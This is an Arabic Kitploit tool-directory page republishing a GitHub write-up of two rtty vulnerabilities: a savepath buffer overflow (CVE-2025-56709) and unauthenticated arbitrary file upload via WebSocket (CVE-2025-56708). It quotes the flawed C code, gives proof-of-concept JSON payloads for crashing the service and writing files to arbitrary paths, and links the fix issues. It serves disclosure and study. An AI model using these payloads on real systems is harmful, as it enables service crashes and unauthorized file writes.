Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
rtty_CVE-2025-56708-CVE-2025-56709 — CVE-2025-56708 و CVE-2025-56709 شرح مفصل للثغرات | Kitploit
أدوات/GitHubGitHub/xkaneiki/rtty_cve-2025-56708-cve-2025-56709
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبسوء التكويناستغلال الملفات الثنائية
GitHubxkaneiki/rtty_cve-2025-56708-cve-2025-56709

rtty_CVE-2025-56708-CVE-2025-56709

CVE-2025-56708 و CVE-2025-56709 شرح مفصل للثغرات

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
3منذ 10 أشهرلم تتم المراجعة بعد

CVE-2025-56708&CVE-2025-56709

【CVE-2025-56709】تجاوز سعة المخزن المؤقت لـ savepath

نظرة عامة على الثغرة

في الإصدار rtty <=v9.0.0، توجد ثغرة تجاوز السعة في طريقة fileinfo، حيث تؤدي هذه الثغرة إلى كتابة البيانات باستمرار في المتغير العام savepath، مما يؤدي إلى تجاوز سعة المخزن المؤقت.

تحليل الثغرة

يمكن الكتابة على savepath باستمرار، مما يؤدي إلى تجاوز السعة.

  • 【1】يمكن ملاحظة أن name يستخدم في الواقع مساحة الذاكرة الخاصة بـ savepath
  • 【2】إذا لم ينجح فحص mount، فسيتم الدخول إلى مسار check_space_fail
  • 【3】سيؤدي ذلك إلى فشل المسار، ولكن buffer_pull سيستمر في إضافة بيانات إلى name، أي مساحة savepath
root@kitploit:~
static void start_download_file(struct file_context *ctx, struct buffer *info, int len)
{
    char *name = savepath + strlen(savepath);【1】
    struct mntent *ment;
    struct statvfs sfs;
    char buf[512];
    int fd;

    ctx->total_size = ctx->remain_size = buffer_pull_u32be(info);

    ment = find_mount_point(savepath);
    if (ment) {
        uint64_t avail;

        if (!strcmp(ment->mnt_type, "ramfs")) {
            struct sysinfo si;

            if (sysinfo(&si)) {
                log_err("download file fail: '%s'\n", strerror(errno));
                goto check_space_fail;
            }

            avail = si.freeram;
        } else if (!statvfs(ment->mnt_dir, &sfs)) {
            avail = sfs.f_bavail * sfs.f_frsize;
        } else {
            log_err("download file fail: '%s'\n", strerror(errno));
            goto check_space_fail;
        }

        if (ctx->total_size > avail) {
            log_err("download file fail: no enough space\n");
            goto check_space_fail;
        }
    } else {
        log_err("download file fail: not found mount point of '%s'\n", savepath);
        goto check_space_fail;【2】
    }

    buffer_pull(info, name, len - 4);

    if (!access(savepath, F_OK)) {
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR_EXIST, NULL, 0);
        log_err("the file '%s' already exists\n", name);
        goto open_fail;
    }

    fd = open(savepath, O_WRONLY | O_TRUNC | O_CREAT, 0644);
    if (fd < 0) {
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR, NULL, 0);
        log_err("create file '%s' fail: %s\n", name, strerror(errno));
        goto open_fail;
    }

    log_info("download file: %s, size: %u\n", savepath, ctx->total_size);

    if (fchown(fd, ctx->uid, ctx->gid) < 0)
        log_err("fchown %s fail: %s\n", savepath, strerror(errno));

    if (ctx->total_size == 0)
        close(fd);
    else
        ctx->fd = fd;

    memcpy(buf, &ctx->total_size, 4);
    strcpy(buf + 4, name);

    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_INFO, buf, 4 + strlen(name));

    return;

check_space_fail:
    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_NO_SPACE, NULL, 0);
    buffer_pull(info, name, len - 4);【3】
    
open_fail:
    file_context_reset(ctx);
}

إثبات المفهوم للثغرة (POC)

  • يمكن إسقاط الخدمة عن طريق إرسال البيانات باستمرار عبر WebSocket (وربما تحقيق تنفيذ تعليمات برمجية عن بُعد RCE)
root@kitploit:~
{"type":"fileInfo","name":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":50}

إصلاح الثغرة

https://github.com/zhaojh329/rtty/issues/139

【CVE-2025-56708】رفع ملف غير مصرح به

نظرة عامة على الثغرة

يوجد ثغرة اجتياز الدليل في الإصدار rtty <=v9.0.0. في بروتوكول التفاعل، توجد ثغرة منطقية في طريقة fileinfo، حيث يمكن للمهاجم اختطاف WebSocket واستدعاء طريقة fileinfo لرفع ملف إلى أي مسار في النظام دون حاجة لتسجيل دخول المستخدم.

إثبات المفهوم للثغرة (POC)

  • باختطاف تدفق برنامج WebSocket، ومن خلال طريقة fileInfo، يمكن رفع ملف إلى أي دليل في النظام دون تسجيل دخول المستخدم.
  • تحديد دليل التحميل
root@kitploit:~
{"type":"fileInfo","name":"home/xk/xxx/xxx/fuck1","size":50}
  • تحديد الملف
root@kitploit:~
{"type":"fileInfo","name":"home/xk/xxx/xxxx/test/rtty/rtty/build/src/hello1","size":50}
  • إنشاء الملف على الخادم رسم تخطيطي للثغرة

إصلاح الثغرة

https://github.com/zhaojh329/rtty/issues/140

تنزيل الأداة